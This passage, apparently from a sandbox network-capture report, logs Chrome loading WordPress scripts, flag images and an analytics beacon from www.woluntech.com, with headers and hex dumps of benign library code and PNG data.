r=t.length,f=o(r/2);return r<8?u(t,n):c(t,i(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49834	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:13 UTC	781	OUT	GET /wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.7.3 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:13 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:13 GMT Content-Type: application/javascript Content-Length: 21417 Last-Modified: Thu, 04 Aug 2022 07:37:32 GMT Connection: close Vary: Accept-Encoding ETag: "62eb773c-53a9" Expires: Thu, 15 Jan 2026 02:37:13 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:13 UTC	15956	IN	Data Raw: 2f 2a 21 20 65 6c 65 6d 65 6e 74 6f 72 2d 70 72 6f 20 2d 20 76 33 2e 37 2e 33 20 2d 20 33 31 2d 30 37 2d 32 30 32 32 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 65 6c 65 6d 65 6e 74 6f 72 5f 70 72 6f 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 65 6c 65 6d 65 6e 74 6f 72 5f 70 72 6f 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 31 39 5d 2c 7b 32 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 73 3d 6e 28 33 32 30 33 29 3b 6e 28 34 32 34 32 29 3b 76 61 72 20 69 3d 73 28 6e 28 34 37 37 34 29 29 2c 6f 3d 73 28 6e 28 39 35 37 35 29 29 2c 72 3d 73 28 6e 28 36 32 35 34 29 29 2c 61 3d 73 28 6e 28 35 31 36 31 29 29 2c 6c 3d 73 28 6e 28 35 30 33 39 29 29 2c 63 3d 73 28 6e 28 39 32 31 30 29 29 3b 63 6c Data Ascii: /! elementor-pro - v3.7.3 - 31-07-2022 /(self.webpackChunkelementor_pro=self.webpackChunkelementor_pro\|\|[]).push([[819],{2:(e,t,n)=>{"use strict";var s=n(3203);n(4242);var i=s(n(4774)),o=s(n(9575)),r=s(n(6254)),a=s(n(5161)),l=s(n(5039)),c=s(n(9210));cl
2025-01-15 02:37:13 UTC	5461	IN	Data Raw: 2e 65 6c 65 6d 65 6e 74 73 2e 24 70 61 72 65 6e 74 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 65 2e 63 6c 61 73 73 65 73 2e 70 61 72 65 6e 74 29 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 3d 3d 3d 65 2e 74 79 70 65 26 26 28 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 65 2e 63 6c 61 73 73 65 73 2e 62 61 63 6b 67 72 6f 75 6e 64 54 79 70 65 29 2c 74 68 69 73 2e 72 65 6d 6f 76 65 42 61 63 6b 67 72 6f 75 6e 64 4c 61 79 65 72 28 29 29 7d 6f 6e 49 6e 69 74 28 29 7b 73 75 70 65 72 2e 6f 6e 49 6e 69 74 28 29 3b 63 6f 6e 73 74 20 65 3d 74 68 69 73 2e 67 65 74 53 65 74 74 69 6e 67 73 28 29 3b 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 3d 65 2e 24 65 6c 65 6d 65 6e 74 2c 74 68 69 73 2e 65 6c 65 6d 65 6e 74 73 2e 24 70 61 72 65 6e 74 3d 74 68 69 Data Ascii: .elements.$parent.removeClass(e.classes.parent),"background"===e.type&&(this.$element.removeClass(e.classes.backgroundType),this.removeBackgroundLayer())}onInit(){super.onInit();const e=this.getSettings();this.$element=e.$element,this.elements.$parent=thi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49836	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:13 UTC	760	OUT	GET /wp-includes/js/jquery/ui/core.min.js?ver=1.13.1 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:13 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:13 GMT Content-Type: application/javascript Content-Length: 20715 Last-Modified: Thu, 26 May 2022 06:25:51 GMT Connection: close Vary: Accept-Encoding ETag: "628f1d6f-50eb" Expires: Thu, 15 Jan 2026 02:37:13 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:13 UTC	15956	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 33 2e 31 20 2d 20 32 30 32 32 2d 30 31 2d 32 30 0a 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 64 61 74 61 2e 6a 73 2c 20 64 69 73 61 62 6c 65 2d 73 65 6c 65 63 74 69 6f 6e 2e 6a 73 2c 20 65 73 63 61 70 65 2d 73 65 6c 65 63 74 6f 72 2e 6a 73 2c 20 66 6f 63 75 73 61 62 6c 65 2e 6a 73 2c 20 66 6f 72 6d 2d 72 65 73 65 74 2d 6d 69 78 69 6e 2e 6a 73 2c 20 66 6f 72 6d 2e 6a 73 2c 20 69 65 2e 6a 73 2c 20 6a 71 75 65 72 79 2d 31 2d 37 2e 6a 73 2c 20 6b 65 79 63 6f 64 65 2e 6a 73 2c 20 6c 61 62 65 6c 73 2e 6a 73 2c 20 70 6c 75 67 69 6e 2e 6a 73 2c 20 70 6f 73 69 74 69 6f 6e 2e 6a 73 2c 20 73 61 66 65 2d 61 63 74 69 76 65 2d 65 6c 65 6d 65 6e 74 2e Data Ascii: /! jQuery UI - v1.13.1 - 2022-01-20 http://jqueryui.com* Includes: data.js, disable-selection.js, escape-selector.js, focusable.js, form-reset-mixin.js, form.js, ie.js, jquery-1-7.js, keycode.js, labels.js, plugin.js, position.js, safe-active-element.
2025-01-15 02:37:13 UTC	4759	IN	Data Raw: 73 73 28 65 2c 74 29 7d 29 2c 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 6f 66 66 28 74 68 69 73 2e 65 76 65 6e 74 4e 61 6d 65 73 70 61 63 65 29 2e 72 65 6d 6f 76 65 44 61 74 61 28 74 68 69 73 2e 77 69 64 67 65 74 46 75 6c 6c 4e 61 6d 65 29 2c 74 68 69 73 2e 77 69 64 67 65 74 28 29 2e 6f 66 66 28 74 68 69 73 2e 65 76 65 6e 74 4e 61 6d 65 73 70 61 63 65 29 2e 72 65 6d 6f 76 65 41 74 74 72 28 22 61 72 69 61 2d 64 69 73 61 62 6c 65 64 22 29 2c 74 68 69 73 2e 62 69 6e 64 69 6e 67 73 2e 6f 66 66 28 74 68 69 73 2e 65 76 65 6e 74 4e 61 6d 65 73 70 61 63 65 29 7d 2c 5f 64 65 73 74 72 6f 79 3a 78 2e 6e 6f 6f 70 2c 77 69 64 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 7d 2c 6f 70 74 69 6f 6e 3a 66 75 6e 63 74 69 Data Ascii: ss(e,t)}),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:x.noop,widget:function(){return this.element},option:functi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49835	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:13 UTC	1037	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/es_CO.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:13 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:13 GMT Content-Type: image/png Content-Length: 266 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-10a" Expires: Thu, 15 Jan 2026 02:37:13 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:13 UTC	266	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 77 6f 20 32 38 20 64 65 63 20 32 30 30 35 20 31 32 3a 33 37 3a 31 34 20 2b 30 31 30 30 f3 7f 4e c8 00 00 00 07 74 49 4d 45 07 d5 0c 1c 0b 2f 15 22 8c 11 7d 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 62 49 44 41 54 78 da bd 91 c1 0a 80 30 0c 43 33 f1 ff ff 4f f0 a2 47 d9 98 8e 1d 85 da 09 9d 1e 53 0f 86 5c 5a 78 a4 34 41 04 0e 9d 40 6e 1e 9f 15 c3 57 a0 40 4a c7 16 3a f0 40 dc 31 b0 39 a6 94 3b e6 d7 47 2c dc 27 aa 57 1a 99 f5 95 3f 1f e9 6a 5b 35 01 1b 5e 75 27 82 89 e6 86 89 0d 24 a6 69 17 04 e0 22 e8 5f b2 9f 41 00 Data Ascii: PNGIHDRpz+tEXtCreation Timewo 28 dec 2005 12:37:14 +0100NtIME/"}pHYs~gAMAabIDATx0C3OGS\Zx4A@nW@J:@19;G,'W?j[5^u'$i"_A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49832	38.54.26.75	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:13 UTC	355	OUT	GET /v6/collect?dt=4 HTTP/1.1 Host: collect-v6.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:13 UTC	444	IN	HTTP/1.1 220 Date: Wed, 15 Jan 2025 02:37:13 GMT Content-Length: 0 Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers via: EU-BGR-sofia-EDGE1-CACHE3[209],EU-BGR-sofia-EDGE1-CACHE3[ovl,205],EU-GER-frankfurt-EDGE7-CACHE3[ovl,177],EU-GER-frankfurt-EDGE1-CACHE3[ovl,175],EA-HKG-EDGE6-CACHE3[ovl,23],EA-HKG-GLOBAL1-CACHE45[ovl,16] X-CCDN-REQ-ID-46B1: e4cb419f3f0a5ec4b5f2282732fa2bc1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49838	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:13 UTC	1037	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/pt_BR.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:13 GMT Content-Type: image/png Content-Length: 560 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-230" Expires: Thu, 15 Jan 2026 02:37:13 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:14 UTC	560	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 77 6f 20 32 38 20 64 65 63 20 32 30 30 35 20 31 33 3a 33 32 3a 31 35 20 2b 30 31 30 30 6e b7 57 bd 00 00 00 07 74 49 4d 45 07 d5 0c 1c 0c 24 3a 6f e6 e3 6a 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 01 88 49 44 41 54 78 da 63 64 98 cd c0 f0 93 81 e1 07 98 24 08 80 ca be 83 48 16 90 6a 20 fa 85 ae 2d c2 94 41 94 9f 61 f2 1e 54 6d 3f a1 88 05 64 00 50 cf 4b 84 94 9c 30 c3 fc 04 06 27 59 10 3b 59 8b 21 7a 1e c3 d5 a7 a8 3a 7f 30 30 41 5d 08 06 ac 2c 0c 0d 7e 0c 0f 6b 39 b7 f4 b7 09 08 5c e1 e3 bb 36 a3 a6 ef 4a 29 ef 94 28 Data Ascii: PNGIHDRpz+tEXtCreation Timewo 28 dec 2005 13:32:15 +0100nWtIME$:ojpHYs~gAMAaIDATxcd$Hj -AaTm?dPK0'Y;Y!z:00A],~k9\6J)(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49840	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:13 UTC	1034	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/ar.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:13 GMT Content-Type: image/png Content-Length: 474 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-1da" Expires: Thu, 15 Jan 2026 02:37:13 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:14 UTC	474	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 7a 61 20 33 31 20 64 65 63 20 32 30 30 35 20 31 36 3a 34 31 3a 35 31 20 2b 30 31 30 30 3d aa 5d 18 00 00 00 07 74 49 4d 45 07 d5 0c 1f 0f 2e 30 65 2f f3 49 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 01 32 49 44 41 54 78 da 63 64 98 cd c0 f0 93 81 e1 07 98 24 08 80 ca be 83 48 16 90 6a 20 fa 45 9c b6 9f 50 c4 02 32 00 a8 e7 25 11 7a e0 3a 11 b6 31 30 f0 73 f1 3b 28 3b ab 89 a9 3f 7d ff e4 e1 fb 87 5c 6c 5c 26 72 a6 7f fe fe f9 f8 f3 bd 14 bf 14 c3 7f c6 ee bd 9d 5f 7f 7d 81 38 92 09 6e ca ef 3f bf 05 d8 05 05 b8 f8 f9 38 Data Ascii: PNGIHDRpz+tEXtCreation Timeza 31 dec 2005 16:41:51 +0100=]tIME.0e/IpHYs~gAMAa2IDATxcd$Hj EP2%z:10s;(;?}\l\&r_}8n?8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49841	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:13 UTC	1037	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/ru_RU.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	388	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:13 GMT Content-Type: image/png Content-Length: 241 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-f1" Expires: Thu, 15 Jan 2026 02:37:13 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:14 UTC	241	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 7a 61 20 33 31 20 64 65 63 20 32 30 30 35 20 31 36 3a 34 30 3a 33 32 20 2b 30 31 30 30 25 ef 25 3c 00 00 00 07 74 49 4d 45 07 d5 0c 1f 0f 2d 29 2a 69 08 4a 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 49 49 44 41 54 78 da 63 fc ff ff 3f 03 e9 80 89 0c 3d 40 9b c8 d1 f6 e6 cd 1b 92 b5 bd 7d fb 16 a8 8d 85 91 91 0c fb c8 f2 1b dd b5 31 92 1a 6b 6f 19 18 5e 91 61 db 1b 30 62 41 36 86 48 3d 50 6d ff 61 1c 22 b5 01 1d 09 00 c6 ea 1c 60 10 0a 9d 81 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRpz+tEXtCreation Timeza 31 dec 2005 16:40:32 +0100%%<tIME-)*iJpHYs~gAMAaIIDATxc?=@}1ko^a0bA6H=Pma"`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49842	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:13 UTC	1034	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/vi.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:13 GMT Content-Type: image/png Content-Length: 454 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-1c6" Expires: Thu, 15 Jan 2026 02:37:13 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:14 UTC	454	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 06 00 00 00 6f 12 ed bc 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 07 74 49 4d 45 07 da 02 19 04 04 2f e0 14 8e 1d 00 00 01 31 49 44 41 54 38 4f 63 bc a5 2a fb 9f 81 1a 00 64 10 5e ac 2c fb ff a6 82 1c 7e 35 20 c7 10 32 e4 8e 81 f4 ff fb ce 92 ff 6f 29 e1 b7 10 bb 41 20 57 c8 c9 fd bf 2e 24 ff ff 71 b4 d8 ff 4f eb b9 fe df 90 90 ff 7f 43 46 0e a7 eb 30 0d 02 1a 72 c7 48 fa ff 03 77 09 20 2d f3 ff fd 7c de ff 7f bf 32 fe 7f e8 2b f1 ff 9e ad d4 ff fb 4e 40 d7 a9 01 5d a7 82 ea 42 0c 83 6e 2a ca fd bf Data Ascii: PNGIHDRosRGBgAMAa cHRMz&u0`:pQ<tIME/1IDAT8Ocd^,~5 2o)A W.$qOCF0rHw -\|2+N@]Bn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49839	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:13 UTC	1037	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/id_ID.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	388	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:13 GMT Content-Type: image/png Content-Length: 242 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-f2" Expires: Thu, 15 Jan 2026 02:37:13 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
